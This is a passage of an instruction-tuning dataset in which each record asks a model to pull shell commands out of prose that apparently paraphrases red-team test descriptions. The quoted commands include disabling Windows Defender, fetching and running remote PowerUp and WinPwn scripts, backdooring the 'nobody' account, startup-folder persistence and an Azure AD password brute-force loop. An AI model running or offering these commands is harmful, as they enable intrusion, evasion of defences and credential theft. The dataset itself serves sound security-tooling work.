-UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using DISM.exe to disable Windows Defender and uninstall its package, execute this command: Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet. The operation runs silently by default, but you can remove the quiet switch if you need verbose output.",
    "output": "{\"command_list\": [\"Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enable proxy settings through a registry modification, use the following command: reg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" /v ProxyEnable /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\" /v ProxyEnable /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For staging a zipped file in the Windows temp directory using native tools, execute this command: Compress-Archive -Path \"#{input_file}\" -DestinationPath #{output_file} -Force. You should then confirm the presence of Folder_to_zip.zip in the temporary folder.",
    "output": "{\"command_list\": [\"Compress-Archive -Path \\\"#{input_file}\\\" -DestinationPath #{output_file} -Force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test involves changing the nobody account's configuration to appear legitimate - start by checking its current state via the command: cat /etc/passwd |grep nobody, then alter its shell and password with: chsh --shell /bin/bash nobody\nusermod --password $(openssl passwd -1 nobody) nobody, and verify access using: su -c \"whoami\" nobody.",
    "output": "{\"command_list\": [\"cat /etc/passwd |grep nobody\\nchsh --shell /bin/bash nobody\\nusermod --password $(openssl passwd -1 nobody) nobody\\nsu -c \\\"whoami\\\" nobody\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This script adds a harmless shortcut to the user's startup folder, which can be verified later by checking the directory, with the command:\n$Target = \"C:\\Windows\\System32\\calc.exe\"\n$ShortcutLocation = \"$home\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\calc_exe.lnk\"\n$WScriptShell = New-Object -ComObject WScript.Shell\n$Create = $WScriptShell.CreateShortcut($ShortcutLocation)\n$Create.TargetPath = $Target\n$Create.Save()",
    "output": "{\"command_list\": [\"$Target = \\\"C:\\\\Windows\\\\System32\\\\calc.exe\\\"\\n$ShortcutLocation = \\\"$home\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\calc_exe.lnk\\\"\\n$WScriptShell = New-Object -ComObject WScript.Shell\\n$Create = $WScriptShell.CreateShortcut($ShortcutLocation)\\n$Create.TargetPath = $Target\\n$Create.Save()      \"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify the deletion of an IAM service account key in GCP, which is a security best practice for key rotation, use this command sequence: \ngcloud config set project #{project_id}\nKEY=`gcloud iam service-accounts keys list --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --format=\"value(KEY_ID)\" --limit=1`\ngcloud iam service-accounts keys delete $KEY --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --quiet",
    "output": "{\"command_list\": [\"gcloud config set project #{project_id}\\nKEY=`gcloud iam service-accounts keys list --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --format=\\\"value(KEY_ID)\\\" --limit=1`\\ngcloud iam service-accounts keys delete $KEY --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --quiet\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following script will brute force an Azure AD user via the AzureAD PowerShell module, executing the command: Import-Module -Name AzureAD\n\n$passwords = \"#{passwords}\".split(\"{`n}\")\nforeach($password in $passwords) {\n  $PWord = ConvertTo-SecureString -String \"$password\" -AsPlainText -Force\n  $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\n  try {\n    Write-Host \" [-] Attempting ${password} on account #{username}.\"\n    Connect-AzureAD -Credential $Credential 2>&1> $null\n    # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success\n    Write-Host \" [!] #{username}:${password} are valid credentials!`r`n\"\n    break\n  } catch {\n    Write-Host \" [-] #{username}:${password} invalid credentials.`r`n\"\n  }\n}\nWrite-Host \"End of bruteforce\"",
    "output": "{\"command_list\": [\"Import-Module -Name AzureAD\\n\\n$passwords = \\\"#{passwords}\\\".split(\\\"{`n}\\\")\\nforeach($password in $passwords) {\\n  $PWord = ConvertTo-SecureString -String \\\"$password\\\" -AsPlainText -Force\\n  $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Pword\\n  try {\\n    Write-Host \\\" [-] Attempting ${password} on account #{username}.\\\"\\n    Connect-AzureAD -Credential $Credential 2>&1> $null\\n    # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success\\n    Write-Host \\\" [!] #{username}:${password} are valid credentials!`r`n\\\"\\n    break\\n  } catch {\\n    Write-Host \\\" [-] #{username}:${password} invalid credentials.`r`n\\\"\\n  }\\n}\\nWrite-Host \\\"End of bruteforce\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For comprehensive computer reconnaissance via WinPwn's GeneralRecon, use the following PowerShell command:\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nGeneralrecon -consoleoutput -noninteractive",
